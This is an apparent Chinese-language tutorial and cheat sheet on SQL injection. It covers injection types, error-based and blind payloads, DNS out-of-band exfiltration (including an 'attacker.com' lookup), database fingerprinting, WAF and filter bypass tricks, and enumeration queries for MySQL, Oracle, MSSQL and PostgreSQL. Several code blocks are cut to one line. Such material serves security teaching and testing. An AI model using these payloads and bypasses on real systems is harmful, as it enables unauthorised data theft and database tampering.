【原创】渗透思路-SQL注入详解
渗透思路-SQL注入
sql注入介绍
一、分类
(一)根据输入参数分为:
- 数字型注入
- 字符型注入
(二)根据注入技巧分为:
- 联合注入
- 盲注
- 堆叠注入
- 报错注入
- 二次注入
- 宽字节注入
(三)根据提交类型分为:
- GET 注入
- POST 注入
- COOKIE 注入
- HTTP 头部注入
(四)根据服务器返回响应分为:
1、有回显
- 联合查询注入
- 堆叠注入
2、无回显
- 报错注入
- 布尔注入
- 延时注入
二、注入技巧
(一)联合注入
联合查询注入是sql注入最常规的注入方法。
攻击者利用SQL的UNION关键字将恶意查询语句与正常查询语句合并,达到获取敏感信息的目的。这种注入方式在目标页面显示查询结果时尤其有效,攻击者可以通过联合查询将数据库中的敏感数据“联合”到页面输出中。
UNION关键字用于将两个或多个SELECT查询的结果合并在一起。联合查询注入的目标是在原有查询的结果上追加一个攻击者构造的查询,从而将敏感数据(如数据库用户名、表名、字段名等)展示到页面上。
UNION 语法:用于将多个select语句的结果组合起来,每条select语句必须拥有相同的列、相同数量的列表达式、相同的数据类型,并且出现的次序要一致,长度不一定相同。(这也是和下述堆叠注入的区别)
1 | # 假设原始的SQL查询语句为: |
(二)堆叠注入
攻击者通过在输入中添加多个SQL语句,以分号(;)分隔来执行多条独立的SQL语句。这种注入方式依赖于数据库是否支持多条语句的堆叠执行。堆叠注入的威胁较大,因为攻击者可以通过添加额外的SQL语句实现数据操作、修改甚至删除表格等恶意行为。
通常,在SQL查询语句中,每个查询执行完后会返回执行结果。如果数据库支持堆叠查询,当多条查询语句被组合成一个请求并执行时,数据库会逐条解析并运行。堆叠注入的目标是通过添加多条语句,让数据库依次执行,以便完成攻击者的需求。
第二条语句不必像联合查询那样要求类型一致,甚至能使用 “update”语句修改数据表。
1 | # 假设原始的SQL查询为: |
(三)宽字节注入
是一种利用字符编码漏洞的SQL注入攻击,通常针对使用GBK、Big5等多字节字符集的数据库。这类编码中,某些字符由两个字节组成,因此攻击者可以利用这种编码特性将原本的特殊字符(如’或\)绕过过滤器进行注入,从而实现SQL注入。
在使用多字节编码的数据库中(如GBK、Big5等),部分字符是双字节组成。当数据库在处理输入时,如果遇到一个反斜杠(\),一般会视作转义符,防止后续的单引号或其他特殊字符被解析。但在宽字节编码中,攻击者可以将反斜杠与某个字符组合为一个双字节字符,从而绕过转义,导致注入。
例如:
在GBK编码下,%df(一个字节)和\组合,可以解析成一个有效的宽字节字符。
如果原本输入了\和’,但在宽字节编码中被解析成一个双字节字符,就可以绕过转义,达到注入的目的。
1 | # 假设原始查询如下: |
(四)二次注入
是一种间接的SQL注入方式,攻击者并不是直接在输入点注入恶意SQL语句,而是将恶意的代码片段存储到数据库或系统的其他位置。当系统的其他功能或模块处理或查询这些存储的数据时,注入攻击才被触发并执行。这种方式通常更隐蔽,因为恶意输入和注入执行并不在同一流程中。
在二次注入中,攻击者的恶意代码会先被存储到数据库字段中。虽然在最初的存储过程中,恶意数据没有触发SQL注入,但当系统的其他功能(例如后台管理页面或报告生成模块)再次调用该数据并插入到SQL查询时,恶意代码可能会被解释为SQL命令,从而造成注入。
1 | # 攻击者注册用户名为: |
(五)报错注入
错误型SQL注入是一种常见的SQL注入攻击方式。在这种攻击中,攻击者利用应用程序的错误信息来获取有关数据库结构和内容的信息。当应用程序在数据库查询出错时,如果错误信息直接显示在用户界面上,那么攻击者就可以通过这些信息来更有效地进行SQL注入攻击。
1 | # 1.利用函数报错:一些数据库函数在执行失败时会返回详细的错误信息,攻击者可以通过这些函数来触发错误。例如,在MySQL中,extractvalue()、updatexml()等函数常用于报错注入。 |
(六)布尔注入
主要用于目标系统不直接返回查询结果、错误信息,或系统将查询的输出隐藏,但依然允许注入攻击。攻击者通过向数据库发送特定的布尔表达式,根据页面响应的变化,逐步推测出数据库的信息。
在布尔盲注中,攻击者会构造条件判断语句,并通过判断页面返回的结果是否发生变化,来确认条件是否为真或假。即使页面不显示查询结果,页面响应的不同状态也会告诉攻击者注入是否成功,从而可以逐字符地猜出数据库中的内容。
1 | # 假设原始的SQL查询为: |
(七)延时注入
主要用于目标系统不直接返回查询结果,也没有明显的响应差异,且错误信息也被屏蔽。延时注入通过引入延迟(延时函数)来判断查询的结果是否为真或假,从而逐步获取数据库的信息。
在延时注入中,攻击者通过构造查询语句,使数据库在满足某些条件时执行延时函数,从而增加请求的响应时间。攻击者可以通过观察页面响应的延迟来判断注入是否成功。如果页面响应出现明显延迟,表明条件为真,否则为假。基于这一逻辑,攻击者可以逐步推测出数据库内容。
1 | # 假设原始SQL查询为: |
(八)DNSlog盲注
DNSlog盲住其实属于带外攻击(Out Of Band),什么是带外攻击?
很多场景下,无法看到攻击的回显,但是攻击行为确实生效了,通过服务器以外的其它方式提取数据,包括不限于 HTTP(S) 请求、DNS请求、文件系统、电子邮件等。
DNSlog盲住是一种利用DNS请求来进行信息提取的SQL注入攻击方法,主要用于系统不回显查询结果,也不提供明显响应差异的场景。在这种情况下,攻击者通过让目标服务器发送DNS请求到自己的服务器,从而“回显”信息。这种方法广泛应用于SQL注入、命令注入、SSRF(服务端请求伪造)等无法直接获得响应的注入类型中。
DNSlog盲注的核心在于,攻击者构造特殊的DNS查询,将期望获得的数据库信息以子域名形式嵌入其中。当查询执行后,目标服务器会向攻击者控制的DNS服务器发送请求,以此传递数据库信息。
1 | 流程: |
1 | # 使用LOAD_FILE()和INTO OUTFILE结合,通过向外部服务器请求文件。 |
三、数据库识别
(一)通过报错信息识别数据库
1、MySql
1 | You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1 |
2、Oracle
1 | ORA-00933: SQL command not properly ended |
3、MS SQL Server
1 | Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string |
4、PostgreSQL
1 | Query failed: ERROR: syntax error at or near |
(二)利用数据库语句推断
根据数据库连接字符串方式的不同进行识别 如我们查询字符串kinght得到了一个结果,可以在请求中提交特殊的值,测试用各种方法连接,以生成kinght字符串 如过查询结果相同,就可以确定是哪一种数据库
1 | Oracle: 'kin'||'ght' |
如果注入数字数据,可以使用下面的攻击语句来识别字符串。 每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错。
1 | Oracle: BITAND(1,1)-BITAND(1,1) |
四、常用函数
(一)截断函数
1、left()
函数
用于从一个字符串字段中获取其左侧的一定数量的字符。
1 | left(string, length) |
2、right()
函数
用于从一个字符串字段中获取其右侧的一定数量的字符。
1 | right(string, length) |
3、mid()
函数
用于从一个字符串中提取子字符串。
1 | MID(string, start, length) |
4、substr()
函数
SUBSTR()
函数和MID()
函数作用类似,都是用来从一个字符串中提取一个子字符串。SUBSTR()
函数接受两个或三个参数。
1 | SUBSTR(string, start_position, length) |
5、substring()
函数
SUBSTRING()
是一种字符串函数,用于从一个字符串中提取子字符串。它通常用于 SQL 查询中,用于操作和提取文本数据。
1 | SUBSTRING(str, start, length) |
(二)条件函数
1、length()
函数
用于计算字符串的字节长度。
1 | LENGTH(string); |
2、ascii()
函数
用于返回字符串中第一个字符的 ASCII 码值
1 | ASCII(string); |
3、if()
函数
判断语句,如果第一个语句正确,就执行第二个语句,如果错误,就执行第三个语句
1 | IF(condition, true_result, false_result) |
(三)报错注入
1、extractvalue()
函数
功能:这是一个XML处理函数,用于从XML数据中提取值。通过构造不合法的XML路径,extractvalue()可以触发
报错,返回数据库中的敏感信息。
语法: extractValue(xml_document, xpath_string);
XML_document是String格式,为XML文档对象的名称,
XPath_string (Xpath格式的字符串);
Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错
注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());
1 | 1' or extractvalue(1,concat(1,(select database())))# |
2、updatexml()
函数
功能:这是另一个XML处理函数,用于更新XML文档中的值。与extractvalue()类似,通过传入非法的路径或格式,也会触发报错。
语法:UPDATEXML (xml_document, XPathstring, new_value)
xml_document,文档名称。
XPathstring (Xpath格式的字符串),做内容定位。
new_value,String格式,替换查找到的符合条件的值。
注意:一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用(可以使用substr());
第二个参数应该为合法的xpath路径,否则会在引发报错的同时将传入的参数进行输出
1 | 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)# |
3、floor()
函数
功能:floor()函数用于返回一个数的向下取整值。利用这个函数,可以制造出一个数学错误(如除零错误)。
主要报错原因为:count()+rand()+group_by()导致主键重复。
因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
1 | 1'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))# |
4、exp()
函数
功能:是计算自然对数底数 e 的幂次(即 e^{x})。
当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
SQL语法中,存在一个取反符号~
,它会对每一个二进制位进行取反。也就是说,如果某个位是1,它就会变成0;如果是0,就会变成1。
1 | SELECT EXP(999999999999999999); -- 超大数值,触发错误 |
(四)时间延迟
1、sleep()
函数
sleep(duration) 这个函数的作用就是休眠,参数是休眠的时长,以秒为单位,也可以是小数。
1 | if (ascii(subtr(databse(),1,1))>'a',1,sleep(5))# |
2、benchmark()
函数
重复执行指令
语法:benchmark(count,expr)
- count : 必要参数,重复的次数。
- expr : 必要参数,执行的语句。
1 | select Alt from vorname where Vorname='Lina' and benchmark(10000000,sha(1)); |
五、绕过方法
(一)常规绕过
1、大小写绕过
一般来说,只要网站考虑了防御机制,现在的设计者是不会忘记注意大小写的。但我们还是把绕过思路从简单到复杂的讲述出来,大小写绕过是最简单的一种绕过方法,它成功的前提是网站防御规则中只匹配了字母小写的攻击语句特征。如select
可能会被规则发现,SeLeCt
则不会
1 | mbigfish.com/index.php?page_id=1' and 1=2 uNIoN sELecT 1,2,3,4# |
2、双写绕过
在某些网站,会对用户提交的一段字符进行匹配,对其认为危险的字符删除,同时放过余下其认为安全的字符。 例如,用户输入1' and 1=2 union select 1,2,3,4#
,经过网站的过滤机制,服务器实际接收到的则是1' and 1=2 1,2,3,4#
此时可以双写绕过:
1 | /index.php?page_id=1' UNIunionON SELselectECT 1,2,3,4# |
经过网站过滤机制,UNIunionON SELselectECT
实际变成了UNION SELECT
。但要注意,这只适用于网站防御机制只匹配一次、过滤一次的情况。如果网站正则具有循环匹配,循环过滤直至匹配不到的机制,那么这种绕过方法就不再适用了
3、编码绕过
如果网站防御机制未考虑过各类编码情况,那么将攻击语句编码后再发送也是一种很好的方法
3.1、url编码绕过
通常来说,在浏览器输入URL时,浏览器会对一些字符进行URL 编码如,空格变为%20、单引号%27、左括号%28、右括号%29。
而服务器收到后会对其进行解码。如果网站具备防御机制,则会对解码后的内容进行规则匹配。
然而一些程序在执行了过滤之后还会执行一次不必要的解码, 比如我们输入带有url编码的字符串: 1%2527%20and%201%253d1%23
,这条字符在会被解码为:1%27 and 1%3d1#
,其中没有'
和=
,假设这样就不会触发某些防御规则,然而当waf放过这串字符后,网站程序又会执行一次不必要的解码,再次解码后文本变成如此:1' and 1=1#
,这一条将被数据库执行
3.2、十六进制编码绕过
主要用于where语句后,如:
1 | 1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'# |
3.3、char()函数
利用char()
函数将select
的ASCII码转换为select
字符串,接着利用concat()
函数进行拼接得到select
查询语句,从而绕过过滤。
或者直接用concat()
函数拼接select
来绕过
1 | index.php?id=-1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;# |
4、注释绕过
注释绕过针对空格的过滤
1 | 1' and 1=2 union/**/select 1,2 # |
(二)关键词绕过
1、空格
1.1、注释代替空格
1 | select * from tb1 where name='asd'; |
1.2、括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
1 | select name from tb1 where name ='asd'; |
1.3、引号代替空格
mysql中可用单引号或双引号来代替空格。
1 | select name from tb1 where name ='asd' and 1=1; |
1.4、特殊字符代替空格
如下特殊字符可代替空格:
1 | %09 水平定位符号%0a 换行符%0c 换页符%0d 回车%0b 垂直定位符号 |
2、union\select
1 | uNIoN sel<>ect # 程序过滤<>为空 脚本处理 |
3、引号
可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
1 | select * from tb1 where name='asd'; |
4、等号
1 | ?id=1' or 1 like 1#可以绕过对 = > 等过滤 |
5、逗号
在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
1 | select mid(user(),1,2); #从第一个字符开始截取2个 |
6、注释符
1 | 测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。 |
7、where
1 | 逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin' |
8、limit
1 | 逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin' |
9、select
1 | 逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1 |
10、hex
1 | 逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61) |
11、substr
1 | 逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) |
12、and/or
1 | #等价关键字,在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。 |
13、order by
1 | # 当 order by 被过滤时,可以使用 into 变量名进行代替。 |
(三)WAF绕过
1、浮点数绕过
1 | # 通过浮点数的形式从而绕过。 |
2、添加库名绕过
1 | # 有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。 |
3、参数污染绕过
1 | # 在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。以下是其他污染特性 |
4、脏数据溢出绕过
1 | # 数据太多超过waf检测范围,然后造成绕过,前面填垃圾数据后面填要注入的SQL语句,如果是GET传参,参数值超过GET所能运行的长度可能无法利用,所以最好是POST传参(前提是对方支持POST传参) |
5、pipline绕过
1 | http协议是由tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接tcp连接,然后发http 数据包,其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或断开。 |
6、分块传输绕过
1 | 分块传输编码是只在HTTP协议1.1版本中提供的一种数据传送机制。 |
7、参数拆分绕过
1 | 配合多个参数的传参,将注入的内容拼接到同一条 SQL 语句中,可以将注入语句分割插入绕过waf拦截。 |
8、GET/POST转换绕过
1 | waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测。 |
9、白名单绕过
1 | 有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,比如白名单目录,白名单文件等等,所以可以利用这个特点,可以进行突破。 |
10、花括号绕过
1 | 花括号,左边是注释的内容,这样的话可以过一些waf的拦截。 |
11、反引号绕过
1 | 特殊符号反引号也能绕过waf |
六、各类数据库注入语句
(一)MySQL数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT database() | - |
所有数据库 | SELECT schema_name FROM information_schema.schemata | #版本>5.0 |
- | SELECT distinct(db) FROM mysql.db | #管理员权限才可以执行 |
查询表名 | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
查询列名 | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
获取版本 | SELECT @@version | - |
当前用户 | SELECT user() | - |
- | SELECT system_user() | - |
用户权限 | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges | #用户权限 |
- | SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges | #数据库权限 |
- | SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges | #字段的权限 |
列出DBA账户 | SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ | - |
选择第N行 | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 | #行从0开始编号 |
- | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 | #行从0开始编号 |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | #返回c |
ASCII值-字符 | SELECT char(65) | #返回A |
字符-ASCII值 | SELECT ascii(‘A’) | #返回65 |
字符串连接 | SELECT CONCAT(‘A’,‘B’) | #返回AB |
- | SELECT CONCAT(‘A’,‘B’,‘C’) | #返回ABC |
时间睡眠 | SELECT BENCHMARK(1000000,MD5(‘A’)) | - |
- | SELECT SLEEP(5) | #版本>= 5.0.12 |
(二)Oracle数据库
释义 | SQL语句 | 其他 | |
---|---|---|---|
当前数据库 | SELECT global_name FROM global_name | — | |
- | SELECT name FROM v$database | — | |
- | SELECT instance_name FROM v$instance | — | |
- | SELECT SYS.DATABASE_NAME FROM DUAL | — | |
所有数据库 | SELECT DISTINCT owner FROM all_tables | — | |
查询表名 | SELECT table_name FROM all_tables | — | |
- | SELECT owner, table_name FROM all_tables | — | |
查询列名 | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ | — | |
- | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’ | — | |
获取版本 | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’ | — | |
- | SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’ | — | |
- | SELECT version FROM v$instance | — | |
当前用户 | SELECT user FROM dual | — | |
用户权限 | SELECT * FROM session_privs | #当前权限 | |
- | SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ | #列出用户的权限 | |
列出DBA账户 | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’ | — | |
选择第N行 | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 | #第九行 | |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) FROM dual | #第3个字符c | |
ASCII值-字符 | SELECT chr(65) FROM dual | #返回A | |
字符-ASCII值 | SELECT ascii(‘A’) FROM dual | #返回65 | |
字符串连接 | SELECT ‘A’ \ | ‘B’ FROM dual | #返回AB |
时间睡眠 | SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual | #如果反向查询很慢 | |
- | SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual | #如果正向查询很慢 |
(三)MSSQL数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT DB_NAME() | - |
所有数据库 | SELECT name FROM master…sysdatabases | - |
- | SELECT DB_NAME(N) | #N为0,1,2,… |
查询表名 | SELECT name FROM master…sysobjects WHERE xtype = ‘U’ | - |
- | SELECT name FROM someotherdb…sysobjects WHERE xtype = ‘U’ | - |
查询列名 | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) | #当前数据库 |
- | SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’ | #列出master…sometable的列名称 |
获取版本 | SELECT @@version | - |
当前用户 | SELECT user_name() | - |
- | SELECT system_user | - |
- | SELECT user | - |
用户权限 | SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’) | #当前数据库权限 |
- | SELECT is_srvrolemember(‘sysadmin’) | #当前用户权限 |
列出DBA账户 | SELECT is_srvrolemember(‘sysadmin’) | #当前用户是否是管理员,是则返回1 |
选择第N行 | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC | #返回第九行 |
选择第N个字符 | SELECT substring(‘abcd’, 3, 1) | #返回c |
ASCII值-字符 | SELECT char(0×41) | #返回A |
字符-ASCII值 | SELECT ascii(‘A’) | #返回65 |
字符串连接 | SELECT ‘A’ + ‘B’ | #返回AB |
时间睡眠 | WAITFOR DELAY ‘0:0:5’ | #睡眠5秒 |
(四)PostgreSQL数据库
释义 | SQL语句 | 其他 | |
---|---|---|---|
当前数据库 | SELECT current_database() | - | |
所有数据库 | SELECT datname FROM pg_database | - | |
查询表名 | SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) | - | |
查询列名 | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | - | |
获取版本 | SELECT version() | - | |
当前用户 | SELECT user; | - | |
- | SELECT current_user; | - | |
- | SELECT session_user; | - | |
- | SELECT usename FROM pg_user; | - | |
- | SELECT getpgusername(); | - | |
用户权限 | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user | - | |
列出DBA账户 | SELECT usename FROM pg_user WHERE usesuper IS TRUE | - | |
选择第N行 | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 | #从0行开始编号 | |
- | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; | - | |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | #返回c | |
ASCII值-字符 | SELECT chr(65) | #返回A | |
字符-ASCII值 | SELECT ascii(‘A’) | #返回65 | |
字符串连接 | SELECT ‘A’ \ | ‘B’ | #返回AB |
时间睡眠 | SELECT pg_sleep(10) | #睡眠10秒 | |
- | SELECT sleep(10) | #创建自定义睡眠 |
七、参考:
- https://www.cnblogs.com/zhianku/p/16537805.html
- https://www.cnblogs.com/kinghtxg/articles/17158172.html
- https://blog.csdn.net/m0_74855736/article/details/136582149
- waf:https://www.anquanke.com/post/id/268428#h3-15
- waf:https://xz.aliyun.com/t/7767
- 注入类型:https://blog.csdn.net/weixin_44369049/article/details/134067481
- 各注入类型流程:https://www.cnblogs.com/-chenxs/p/11614129.html
- 各注入类型示例:https://cloud.tencent.com/developer/article/1518647